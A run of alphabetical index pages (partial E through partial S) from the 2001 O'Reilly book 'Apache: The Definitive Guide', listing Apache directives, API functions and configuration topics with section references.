cipher suites: 13.8. Cipher Suites
digest authentication: 5.1. Authentication Protocol
5.7. Digest Authentication
legal issues: 13.5.2. National Security
protecting application data: D.2. Protecting Application Data
env utility: 4.4. Useful Scripts
environment variables: 4.6. Setting Environment Variables
access control: 5.6.2. Allow from env
browsers and: 4.6.4. Browsers
printing: 4.4. Useful Scripts
10. Server-Side Includes
10.5. Echo
error messages: 1. Getting Started
ErrorDocument directive: 3.1.1. ErrorDocument
ErrorLog directive: 11.5.1. ErrorLog
errors (see troubleshooting)
HTTP codes for: 11.5.5. site.authent--Another Example
15.2. Status Codes
logging: 11.5.1. ErrorLog
ServerAdmin directive: 3.4.3. ServerAdmin
escape_html(): 14.6.12. Path, Filename, and URL Manipulation Functions
escape_path_segment(): 14.6.12. Path, Filename, and URL Manipulation Functions
escape_shell_cmd(): 14.6.11. String Functions
/etc/hosts file: 2.4.6. Our Experimental Micro Web
/etc/inetd.conf file: 1.5. What Happens at the Server End?
3.9.5. ServerType
events: 14.6.9.3. Event Functions
exec command: 10. Server-Side Includes
10.4. Execute CGI
13.4.1. Packet Filtering
ExecCGI option (Options): 3.11. Options
4.2. Writing and Executing Scripts
execute permission: 2.4.4. Unix Permissions
exit_thread(): 14.6.9.4. Thread Functions
ExpiresActive directive: 3.15.1. ExpiresActive
ExpiresByType directive: 3.15.2. ExpiresByType
ExpiresDefault directive: 3.15.3. ExpiresDefault
expiring: 3.15. Expirations
cached documents: 9.2.4. CacheMaxExpire
cookies: 5.10.5. CookieExpires
default time: 3.15.3. ExpiresDefault
SSL session keys: 13.7.7. SSLSessionCacheTimeout
timeout functions: 14.6.16. Timeout and Alarm Functions
waiting for requests: 3.4.16. TimeOut
exporting certificates to CGIs: 13.9.1. SSLExportClientCertificates
extensions, filename: 4.8.1. AddHandler
image negotiation: 6.2.1. Image Negotiation
type maps: 6.4. Type Maps
external users: 13.1. Internal and External Users

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: F (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: F

-f flag (httpd/apache): 2.2. Apache's Flags
3.4.8. ServerRoot
FancyIndexing directive: 7.1.2. FancyIndexing
FancyIndexing option (IndexOptions): 7.1.1. IndexOptions
file permissions: 2.4.4. Unix Permissions
suEXEC utility: 4.7. suEXEC on Unix
filename extensions
image negotiation: 6.2.1. Image Negotiation
type maps: 6.4. Type Maps
files
API functions for: 14.6.5. File and Socket Functions
CGI script location: 4.2.1. Script in cgi-bin
DBM files: 5.5.1. DBM Files on Unix
filename API functions: 14.6.12. Path, Filename, and URL Manipulation Functions
filename extensions: 4.8.1. AddHandler
including in other: 10.3. Includes
indexing: 7. Indexing
limiting directives to: 3.3.3. < Files> and < FilesMatch>
limits on child processes: 3.6.6. Unix File Limits
logs (see logging)
redirection: 8. Redirection
size: 10. Server-Side Includes
10.1. File Size
.var files (see type maps)
filters (packet filtering): 13.4.1. Packet Filtering
find_token(): 14.6.11. String Functions
finger utility: 13.4.1. Packet Filtering
firewalls: 13.4. Firewalls
fixed-length buffers: 15.5. General Hints
fixing modules before running: 15.3.16. Prerun Fixups
flastmod command: 10. Server-Side Includes
10.2. File Modification Time
FollowSymLinks option (Options): 3.11. Options
3.11.1. FollowSymLinks, SymLinksIfOwnerMatch
FollowSymLinksIfOwnerMatch option (Options): 3.11.1. FollowSymLinks, SymLinksIfOwnerMatch
force-response-1.0 variable: 4.6.5.2. force-response-1.0
ForceType directive: 6.1.5. ForceType
tags (HTML): 4.1.3. The Form
format of log files: 11.5.3. LogFormat
formatted menus: 7.3.5. ImapMenu
forms: 4.1.3. The Form
authentication with: 5.5. New Order Form
echo.c program (example): 4.4.1. echo.c
Fortezza encryption keys: D.1.1.4. Fortezza
FQDNs (fully qualified domain names): 2.4.6. Our Experimental Micro Web
FreeBSD Unix: 1.6. Which Unix?
lan_setup script: 9.3. Setup
free_thread(): 14.6.9.4. Thread Functions
freeware: 1.1. How Does Apache Work?
FrontPage extensions (Microsoft): 12.5. FrontPage from Microsoft
fsize command: 10. Server-Side Includes
10.1. File Size
FTP directory for Apache: 12. Extra Modules
fullstatus flag (apachect1): 2.4. Setting Up a Unix Server
functions, API (list): 14.6. Functions

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: G (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: G

gcache: 13.6.6. The Global Session Cache
GET method (HTTP): 4.1.2. What Is an HTTP Method?
get_client_block(): 14.6.14. TCP/IP and I/O Functions
get_gmtoff(): 14.6.10. Time and Date Functions
get_local_host(): 14.6.14. TCP/IP and I/O Functions
get_module_config(): 15.3.5. Command Table
get_time(): 14.6.10. Time and Date Functions
get_token(): 14.6.11. String Functions
get_virthost_addr(): 14.6.14. TCP/IP and I/O Functions
getparents(): 14.6.12. Path, Filename, and URL Manipulation Functions
getword(): 14.6.11. String Functions
getword_conf(): 14.6.11. String Functions
getword_nulls(): 14.6.11. String Functions
getword_white(): 14.6.11. String Functions
global session cache (SSL): 13.6.6. The Global Session Cache
gm_timestr_822(): 14.6.10. Time and Date Functions
gname2id(): 14.6.13. User and Group Functions
go script (example): 2.4. Setting Up a Unix Server
graceful flag (apachect1): 2.4. Setting Up a Unix Server
group authentication: 5.7. Digest Authentication
Group directive: 2.4.1.2. Group
groups
ASI functions for: 14.6.13. User and Group Functions
creating: 2.4.1. Webuser and Webgroup
permissions (see permissions)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: H (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: H

-h flag (httpd/apache): 2.2. Apache's Flags
handler_rec structure: 15.3.17. Handlers
handlers: 15.1. Overview
15.3.17. Handlers
handlers, Apache: 4.8. Handlers
handshake protocol (SSL): D.1. Handshake Protocol
attacks and: D.1.2. Version Rollback Attacks
hard_timeout(): 14.6.16. Timeout and Alarm Functions
HEAD method (HTTP): 4.1.2. What Is an HTTP Method?
HeaderName directive: 3.10.1. HeaderName
7.1.12. HeaderName
headers
CGI: 4.2. Writing and Executing Scripts
HTTP response: 3.10. HTTP Response Headers
parsing: 15.3.11. Header Parser
help: A. Support Organizations
help flag (apachect1): 2.4. Setting Up a Unix Server
history of Apache: 0.1. Who Wrote Apache, and Why?
HostNameLookups directive: 3.4.17. HostNameLookups
hostnames
"cannot determine local hostname": 2.4.2. Running Apache Under Unix
controlling access: 5.6. Order, Allow, and Deny
mapping several to one address: 3.4.7. ServerPath
providing (see ServerName directory)
reverse-DNS lookup: 3.4.17. HostNameLookups
hosts: 1. Getting Started
host numbers: 1.2. What to Know About TCP/IP
hostnames: 1.3.1. Multiple Sites: Unix
nonrouting (bastion): 13.4.2. Separate Networks
virtual (see virtual hosts)
hosts file: 2.4.6. Our Experimental Micro Web
hotspots (see imagemaps)
.htaccess file: 3.13. .htaccess
5.11. Using .htaccess Files
7.2.1. DirectoryIndex
htdigest utility: 5.7. Digest Authentication
htdocs directory: 1.1. How Does Apache Work?
2.1. What Is a Web Site?
HTML (Hypertext Markup Language): 3.2. Butterthlies, Inc., Gets Going
forms: 4.1.3. The Form
5.5. New Order Form
imagemaps: 7.3.4. HTML File
htpasswd utility: 5.3. Passwords Under Unix
ht_time(): 14.6.10. Time and Date Functions
HTTP (Hypertext Transfer Protocol): 1. Getting Started
4.1.1. What Is HTTP?
methods: 1. Getting Started
4.1.2. What Is an HTTP Method?
5.2.5. Limit
response headers: 3.10. HTTP Response Headers
status codes: 11.5.5. site.authent--Another Example
15.2. Status Codes
using Version 1.0: 4.6.5.2. force-response-1.0
Version 1.1 and browsers: 6.5. Browsers and HTTP/1.1
HTTP_ACCEPT variable: 6.2.1. Image Negotiation
HTTP_ACCEPT_LANGUAGE variable: 6.3.1. LanguagePriority
httpd: 1.1. How Does Apache Work?
1.8.7. Installing Apache Under Unix
flags: 2.2. Apache's Flags
restarting: 3.12. Restarts
virtual (see virtual hosts)
httpd.conf file, including users/groups: 2.4.1. Webuser and Webgroup

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: I (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: I

-i flag (apache): 2.2. Apache's Flags
IBM's AS 400: 1.10. Apache Under BS2001/OSD and AS/400
IconHeight option (IndexOptions): 7.1.1. IndexOptions
icons in indexes: 7.1.3. IndexIgnore
IconsAreLinks option (IndexOptions): 7.1.1. IndexOptions
IconWidth option (IndexOptions): 7.1.1. IndexOptions
IDEA (International Data Encryption Algorithm): 13.3. Binary Signatures, Virtual Cash
identd daemon, querying: 5.10.1. IdentityCheck
IdentityCheck directive: 5.10.1. IdentityCheck
ifconfig utility: 1.3.1. Multiple Sites: Unix
directive: 1.8.3. Modules
3.3.1. <VirtualHost>
3.3.2. <Directory> and <DirectoryMatch>
3.3.3. < Files> and < FilesMatch>
3.3.3. < Files> and < FilesMatch>
3.3.4. < Location> and < LocationMatch>
3.3.4. < Location> and < LocationMatch>
3.3.5. < IfDefine>
3.3.6. < IfModule>
3.8.1. Name-Based Virtual Hosts
5.2.5. Limit
ignoring files in index: 7.1.3. IndexIgnore
image negotiation: 6.2.1. Image Negotiation
imagemaps: 7.3. Imagemaps
imap-file handler: 4.8. Handlers
ImapBase directive: 7.3.1. ImapBase
ImapDefault directive: 7.3.3. ImapDefault
ImapMenu directive: 7.3.5. ImapMenu
include command: 10. Server-Side Includes
10.3. Includes
Include directive: 3.4.18. Include
includes (see server-side includes)
Includes option (Options): 10. Server-Side Includes
IncludesNoExec option (Options): 3.11. Options
3.11. Options
Indexes option (Options): 3.11. Options
index.html file: 3.2.2. index.html
IndexIgnore directive: 7.1.3. IndexIgnore
indexing: 7. Indexing
icons with: 7.1.3. IndexIgnore
imagemaps: 7.3. Imagemaps
IndexOptions directive: 7.1.1. IndexOptions
inetd utility: 1.5. What Happens at the Server End?
3.9.5. ServerType
inetd.conf file: 1.5. What Happens at the Server End?
info module: 11. What's Going On?
information, obtaining: 11. What's Going On?
CGI scripts, logging: 4.3.3. ScriptLog
configuration and requests: 11.4. Server Info
14.5. Access to Configuration and Request Information
functions for: 14.6.18. Configuration Information Functions
status requests: 11.3. Server Status
per-request: 14.4. Per-Request Information
servers: 11.3. Server Status
controlling access to: 3.4.5. ServerTokens
functions for: 14.6.19. Server Information Functions
status (diagnostics): 11.2. Status
on users: 5.10. Automatic User Information
initializer: 15.3.6. Initializer
install directory (on CD-ROM): 0.2. The Demonstration CD-ROM
installing
Apache under Unix: 1.8.7. Installing Apache Under Unix
suEXEC utility: 4.7. suEXEC on Unix
interfaces: 1.3. How Does Apache Use TCP/IP?
internal users: 13.1. Internal and External Users
internal_redirect(): 14.6.15. Request-Handling Functions
internal_redirect_handler(): 14.6.15. Request-Handling Functions
International Data Encryption Algorithm (IDEA): 13.3. Binary Signatures, Virtual Cash
internationalization: 6.3. Language Negotiation
12.6. Languages and Internationalization
Internet Explorer, configuring for proxy server: 9.3. Setup
"Invalid command Anonymous" error: 5.8. Anonymous Access
I/O (input/output)
API functions for: 14.6.14. TCP/IP and I/O Functions
buffering functions: 14.6.22. Buffering Functions
IP addresses: 1.2. What to Know About TCP/IP
1.3. How Does Apache Use TCP/IP?
binding to specific: 3.9.1. BindAddress
controlling access: 5.6. Order, Allow, and Deny
IP-based virtual hosts: 3.8.2. IP-Based Virtual Hosts
loopback: 2.4.2. Running Apache Under Unix
mapping several hostnames to: 3.4.7. ServerPath
restricting attention to: 3.9.3. Listen
IRIXNIS rule: 1.8.4. Configuration Settings and Rules
isapi-isa hander: 4.8. Handlers
is_directory(): 14.6.12. Path, Filename, and URL Manipulation Functions
ISMAP attribute (): 7.3.4. HTML File
is_matchexp(): 14.6.11. String Functions
is_url(): 14.6.12. Path, Filename, and URL Manipulation Functions

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: J (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: J

There are no index entries for this letter.

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: K (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: K

-k flag (apache): 2.2. Apache's Flags
3.12. Restarts
KeepAlive directive: 3.4.14. KeepAlive
4.6.5.1. nokeepalive
keepalive_timeout(): 14.6.16. Timeout and Alarm Functions
KeepAliveTimeout directive: 3.4.15. KeepAliveTimeout
key escrow system: 13.5.2. National Security
key exchange: D.1.1. Authentication and Key Exchange
kill utility: 2.4. Setting Up a Unix Server
2.4.3. Several Copies of Apache
kill_cleanup(): 14.6.4. Cleanup Functions
kill_cleanups_for_fd(): 14.6.4. Cleanup Functions
kill_thread(): 14.6.9.4. Thread Functions
kill_timeout(): 14.6.16. Timeout and Alarm Functions
Kosut, Alexei: C. NCSA and Apache Compatibility

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: L (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: L

-l flag (httpd/apache): 2.2. Apache's Flags
language negotiation: 6.3. Language Negotiation
modules for: 12.6. Languages and Internationalization
LanguagePriority property: 6.3.1. LanguagePriority
lan_setup script: 9.3. Setup
legal issues: 13.5. Legal Issues
level numbers: 6.4. Type Maps
license, Apache: 0.1. Who Wrote Apache, and Why?
Listen directive: 3.8.4. Port-Based Virtual Hosting
3.9.3. Listen
ListenBacklog directive: 3.9.4. ListenBacklog
ln command: 3.2. Butterthlies, Inc., Gets Going
3.11.1. FollowSymLinks, SymLinksIfOwnerMatch
local networks: 2.4.5. A Local Network
Location header: 4.2. Writing and Executing Scripts
4.4. Useful Scripts
LockFile directive: 3.4.13. LockFile
LogFormat directive: 11.5.3. LogFormat
logging: 11.5. Logging the Action
API functions for: 14.6.20. Logging Functions
CGI script information: 4.3.3. ScriptLog
cookies: 5.10.3. CookieLog
example: 11.5.5. site.authent--Another Example
format of log files: 11.5.3. LogFormat
logs directory: 1.1. How Does Apache Work?
module for: 15.3.18. Logger
sample Apache log: E. Sample Apache Log
SSL activity: 13.7.15. CustomLog
URL substitutions: 8.8.2. RewriteLog
logs directory: 2.1. What Is a Web Site?
specifying location of: 3.4.8. ServerRoot
loopback addresses: 2.4.2. Running Apache Under Unix

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: M (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: M

MAC algorithm: D.1.3. Detecting Attacks Against the Handshake Protocol
D.2. Protecting Application Data
Mail Exchange (MX) records: 13.4.2.2. Disadvantages
make_array(): 14.6.2. Array Functions
make_dirstr(): 14.6.12. Path, Filename, and URL Manipulation Functions
Makefile file: 1.8.2. Semimanual Method
make_full_path(): 14.6.12. Path, Filename, and URL Manipulation Functions
make_sub_pool(): 14.6.1. Pool Functions
make_table(): 14.6.3. Table Functions
MaxClients directive: 3.6.1. MaxClients
MaxRequestsPerChild directive: 3.6.2. MaxRequestsPerChild
MaxSpareServers directive: 3.6.3. MaxSpareServers
MD5 digest authentication: 5.7. Digest Authentication
MD5 functions: 14.6.8. MD5 Functions
memory
limiting for CGI scripts: 4.3.7. RLimitMEM
pools: 14.6.1. Pool Functions
menus for imagemaps: 7.3.5. ImapMenu
merge_env_server_configs(): 15.3.3.1. Example
mergers: 15.3.3. Per-Server Merger
messages, error (see error messages)
MetaDir directive: 3.14.2. MetaDir
metafiles (CERN): 3.14. CERN Metafiles
MetaFiles directive: 3.14.1. MetaFiles
MetaSuffix directive: 3.14.3. MetaSuffix
tag (HTML): 4.1.3. The Form
methods, HTTP: 1. Getting Started
4.1.2. What Is an HTTP Method?
5.2.5. Limit
Microsoft FrontPage extensions: 12.5. FrontPage from Microsoft
Microsoft Internet Explorer, configuring for proxy server: 9.3. Setup
MIME types: 6.1. MIME Types
6.4. Type Maps
checking: 15.3.15. Type Checker
indexing by: 7.1.8. AddIconByType
mod_mime_magic module: 12.11. MIME Magic
MinSpareServers directive: 3.6.4. MinSpareServers
mod_access module: 15.3.12. Check Access
mod_alias module: 8. Redirection
mod_auth_anon module: 5.8. Anonymous Access
mod_expires module: 3.15. Expirations
modification time/date
cache: 9.2.5. CacheLastModifiedFactor
expirations and: 3.15. Expirations
flastmod command for: 10. Server-Side Includes
10.2. File Modification Time
mod_info module: 11. What's Going On?
mod_log_agent module: 15.3.18.1. Example
mod_mime_magic module: 12.11. MIME Magic
mod_reveal module (example): 15.4. A Complete Example
mod_rewrite module: 8.8. Rewrite
12.9. URL Rewriting
mod_simultaneous module: 12.8. Throttling Connections
mod_so: 12.12. DSO
mod_speling module: 8.9. Speling
12.10. Miscellaneous
mod_status module: 15.3.17.1. Example
module_check_access(): 15.3.12. Check Access
15.3.12. Check Access
module_check_auth(): 15.3.14. Check Auth
module_check_user_id(): 15.3.13. Check User ID
module_child_init(): 15.3.7. Child Initialization
module_create_dir_config(): 15.3.2. Create Per-Directory Config Structure
module_create_svr_config(): 15.3.1. Create Per-Server Config Structure
module_dir_merge(): 15.3.4. Per-Directory Merger
module_fixups(): 15.3.16. Prerun Fixups
module_header_parser(): 15.3.11. Header Parser
module_init(): 15.3.6. Initializer
module_logger(): 15.3.18. Logger
module_post_read_request(): 15.3.8. Post Read Request
modules: 1.1. How Does Apache Work?
1.8.3. Modules
access control: 12.2. Blocking Access
12.2. Blocking Access
authentication: 12.1. Authentication
CGI performance: 12.4. Faster CGI Programs
configuring: 14.2. Per-Server Configuration
15.3. The Module Structure
counters: 12.3. Counters
example of: 15.4. A Complete Example
languages and internationalization: 12.6. Languages and Internationalization
list of other available: 12. Extra Modules
server-side includes: 12.7. Server-Side Scripting
structure of: 15.1. Overview
15.3. The Module Structure
writing: 15. Writing Apache Modules
modules directory: 12. Extra Modules
module_translate(): 15.3.9. Translate Name
module_type_checker(): 15.3.15. Type Checker
multiple copies of Apache: 3.9. Two Copies of Apache
multitasking: 1. Getting Started
multithreading: 15.5. General Hints
API functions for: 14.6.9. Synchronization and Thread Functions
multiviews: 6.2. Content Negotiation
MultiViews option (Options): 3.11. Options
6.2. Content Negotiation
mutexes: 14.6.9.1. Mutex Functions
MX records: 13.4.2.2. Disadvantages

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: N (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: N

name-based virtual hosts: 3.8.1. Name-Based Virtual Hosts
3.8.3. Mixed Name/IP-Based Virtual Hosts
names
FQDNs: 2.4.6. Our Experimental Micro Web
hostnames: 1.3.1. Multiple Sites: Unix
translating URLs to: 15.3.9. Translate Name
NameVirtualHost directive: 3.8. Virtual Hosts
3.8.1. Name-Based Virtual Hosts
NameWidth option (IndexOptions): 7.1.1. IndexOptions
national security: 13.5.2. National Security
NCSA server: C. NCSA and Apache Compatibility
netmask command: 2.4.6. Our Experimental Micro Web
Netscape: 3.1. More and Better Web Sites: site.simple
configuring for proxy server: 9.3. Setup
cookies: 5.10.2. Cookies
echo.c program (example): 4.4.1. echo.c
keepalive bug: 3.4.14. KeepAlive
languages and: 6.3. Language Negotiation
networks
classes of: 1.2. What to Know About TCP/IP
local: 2.4.5. A Local Network
numbers for: 1.2. What to Know About TCP/IP
2.4.6. Our Experimental Micro Web
physically separate: 13.4.2. Separate Networks
NoCache directive: 9.2.9. NoCache
nokeepalive variable: 4.6.5.1. nokeepalive
nonce: 5.7. Digest Authentication
nonrouting hosts: 13.4.2. Separate Networks
NoProxy directive: 9.1.5. NoProxy
no2slash(): 14.6.12. Path, Filename, and URL Manipulation Functions
note_cleanups_for_fd(): 14.6.4. Cleanup Functions
note_cleanups_for_file(): 14.6.5. File and Socket Functions
note_subprocess(): 14.6.7. Process and CGI Functions
NT (see Win32)
numbers
host: 1.2. What to Know About TCP/IP
network: 1.2. What to Know About TCP/IP
2.4.6. Our Experimental Micro Web
port: 1.3. How Does Apache Use TCP/IP?

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: O (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: O

obtaining FreeBSD Unix: 1.6. Which Unix?
one-way hashes: 5.7. Digest Authentication
open_event(): 14.6.9.3. Event Functions
Options directive: 3.11. Options
Includes option: 10. Server-Side Includes
Options ExecCGI: 3.11. Options
4.2. Writing and Executing Scripts
Options FollowSymLinks: 3.11. Options
3.11.1. FollowSymLinks, SymLinksIfOwnerMatch
Options FollowSymLinksIfOwnerMatch: 3.11.1. FollowSymLinks, SymLinksIfOwnerMatch
Options IncludesNoExec: 3.11. Options
Options Indexes: 3.11. Options
Options MultiViews: 3.11. Options
6.2. Content Negotiation
Options SymLinksIfOwnerMatch: 3.11. Options
ScriptAlias and: 4.2. Writing and Executing Scripts
order directive: 5.6.5. Order
11.3. Server Status
os_escape_path(): 14.6.12. Path, Filename, and URL Manipulation Functions
output to shells: 13.2. Apache's Security Precautions
overlay_tables(): 14.6.3. Table Functions
overrides: 5.12. Overrides

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: P (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: P

packet filtering: 13.4.1. Packet Filtering
palloc(): 14.6.1. Pool Functions
parseHTTPdate(): 14.6.10. Time and Date Functions
parsing headers: 15.3.11. Header Parser
parsing paths and URLs: 14.6.12. Path, Filename, and URL Manipulation Functions
PassEnv directive: 4.6.3. PassEnv
passwords
anonymous access: 5.8. Anonymous Access
checking (see authentication)
DBM files for: 5.5.1. DBM Files on Unix
Unix systems: 5.3. Passwords Under Unix
Win32 systems: 5.4. Passwords Under Win32
patents: 13.5.1. Patent Rights
pathnames: 0.3.3. Pathnames
1.4. What the Client Does
API functions for: 14.6.12. Path, Filename, and URL Manipulation Functions
paths: 3.4.7. ServerPath
pcalloc(): 14.6.1. Pool Functions
pclosef(): 14.6.5. File and Socket Functions
per-directory configuration: 14.3. Per-Directory Configuration
15.3.2. Create Per-Directory Config Structure
15.3.4. Per-Directory Merger
per-request information: 14.4. Per-Request Information
per-server configuration: 14.2. Per-Server Configuration
15.3.1. Create Per-Server Config Structure
15.3.3. Per-Server Merger
performance
caching: 9.2. Caching
improving CGI programs: 12.4. Faster CGI Programs
PK encryption: 13.3. Binary Signatures, Virtual Cash
throttling connections: 12.8. Throttling Connections
permissions (Unix): 2.4.4. Unix Permissions
suEXEC utility: 4.7. suEXEC on Unix
persistent-state cookies: 5.10.3. CookieLog
pfclose(): 14.6.5. File and Socket Functions
pfdopen(): 14.6.5. File and Socket Functions
pfopen(): 14.6.5. File and Socket Functions
PidFile directive: 3.4.9. PidFile
PIDs (process identifiers): 2.4. Setting Up a Unix Server
pinging IP addresses: 2.5. Setting Up a Win32 Server
piped logs, API functions for: 14.6.21. Piped Log Functions
PK encryption: 13.3. Binary Signatures, Virtual Cash
legal issues: 13.5.2. National Security
point-sized imagemap hotspots: 7.3.4. HTML File
polygonal imagemap hotspots: 7.3.4. HTML File
pools: 14.1. Pools
14.6. Functions
popenf(): 14.6.5. File and Socket Functions
port-based virtual hosting: 3.8.4. Port-Based Virtual Hosting
Port directive: 3.9.2. Port
ports: 1. Getting Started
1.3. How Does Apache Use TCP/IP?
3.9.2. Port
POST method (HTTP): 4.1.2. What Is an HTTP Method?
post read requests: 15.3.8. Post Read Request
pregcomp(): 14.6.6. Regular Expression Functions
prerun fixups to modules: 15.3.16. Prerun Fixups
process identifiers (see PIDs)
processes
API functions for: 14.6.7. Process and CGI Functions
limiting for CGI scripts: 4.3.8. RLimitNPROC
processes, killing: 2.4. Setting Up a Unix Server
2.4.3. Several Copies of Apache
protecting application data: D.2. Protecting Application Data
protocols: 1.3. How Does Apache Use TCP/IP?
proxy servers: 1. Getting Started
9. Proxy Server
configuring cache: 9.3. Setup
ProxyDomain directive: 9.1.4. ProxyDomain
ProxyPass directive: 9.1.3. ProxyPass
ProxyPassReverse directive: 9.1.6. ProxyPassReverse
ProxyRemote directive: 9.1.2. ProxyRemote
ProxyRequests directive: 9.1.1. ProxyRequests
ps utility: 2.4. Setting Up a Unix Server
pstrcat(): 14.6.1. Pool Functions
pstrdup(): 14.6.1. Pool Functions
pstrndup(): 14.6.1. Pool Functions
public key encryption: 13.3. Binary Signatures, Virtual Cash
legal issues: 13.5.2. National Security
push_array(): 14.6.2. Array Functions
PUT method (HTTP): 4.1.2. What Is an HTTP Method?

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Q (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: Q

quality scores (qs values): 6.4. Type Maps

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: R (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: R

read permission: 2.4.4. Unix Permissions
ReadmeName directive: 7.1.13. ReadmeName
realms, authentication: 5.2.2. AuthName
Redirect directive: 8.6. Redirect
redirection: 8. Redirection
14.6.15. Request-Handling Functions
URL substitutions: 8.8. Rewrite
12.9. URL Rewriting
RedirectMatch directive: 8.7. RedirectMatch
register_cleanup(): 14.6.4. Cleanup Functions
regular expressions
API functions for: 14.6.6. Regular Expression Functions
for URLs: 8.8. Rewrite
12.9. URL Rewriting
release_semaphore(): 14.6.9.2. Semaphore Functions
Remote-Addr header: 4.6.4.1. SetEnvIf and SetEnvIfNoCase
Remote-Host header: 4.6.4.1. SetEnvIf and SetEnvIfNoCase
remote proxy servers: 9.1.2. ProxyRemote
Remote-User header: 4.6.4.1. SetEnvIf and SetEnvIfNoCase
Request-Method header: 4.6.4.1. SetEnvIf and SetEnvIfNoCase
request_rec structure: 14.4. Per-Request Information
Request-URI header: 4.6.4.1. SetEnvIf and SetEnvIfNoCase
requests
handling, API functions for: 14.6.15. Request-Handling Functions
maximum wait time: 3.4.16. TimeOut
per-request information: 14.4. Per-Request Information
post read requests: 15.3.8. Post Read Request
simultaneous, maximum for: 3.6.1. MaxClients
status information: 11.3. Server Status
require directive: 5.2.6. Require
reset_event(): 14.6.9.3. Event Functions
reset_timeout(): 14.6.16. Timeout and Alarm Functions
resource pools: 14.1. Pools
14.6. Functions
response codes, HTTP: 11.5.5. site.authent--Another Example
15.2. Status Codes
response headers: 3.10. HTTP Response Headers
restart flag (apachect1): 2.4. Setting Up a Unix Server
restarting httpd: 3.12. Restarts
resuming sessions: D.1.4. Resuming Sessions
reverse-DNS lookups: 3.4.17. HostNameLookups
rewrite module: 8.8. Rewrite
12.9. URL Rewriting
RewriteBase directive: 8.8.5. RewriteBase
RewriteCond directive: 8.8.6. RewriteCond
RewriteEngine directive: 8.8.1. RewriteEngine
RewriteLog directive: 8.8.2. RewriteLog
RewriteLogLevel directive: 8.8.3. RewriteLogLevel
RewriteMap directive: 8.8.4. RewriteMap
RewriteRule directive: 8.8.7. RewriteRule
rewriting URLs: 8.8. Rewrite
12.9. URL Rewriting
example of: 8.8.8. A Rewrite Example
RLimitCPU directive: 4.3.6. RLimitCPU
RLimitMEM directive: 4.3.7. RLimitMEM
RLimitNPROC directive: 4.3.8. RLimitNPROC
root user: 1.3. How Does Apache Use TCP/IP?
2.4. Setting Up a Unix Server
routers: 1.2. What to Know About TCP/IP
rputc(): 14.6.14. TCP/IP and I/O Functions
rputs(): 14.6.14. TCP/IP and I/O Functions
RSA algorithm: 13.5.1. Patent Rights
D.1.1.2. RSA key exchange and authentication
run_cleanup(): 14.6.4. Cleanup Functions
run_sub_req(): 14.6.15. Request-Handling Functions
rvprintf(): 14.6.14. TCP/IP and I/O Functions
rvputs(): 14.6.14. TCP/IP and I/O Functions

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: S (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: S

-s flag (apache): 2.2. Apache's Flags
-S flag (httpd/apache): 2.2. Apache's Flags
satisfy directive: 5.2.7. Satisfy
ScanHTMLTitles option (IndexOptions): 7.1.1. IndexOptions
ScoreBoardFile directive: 3.4.10. ScoreBoardFile
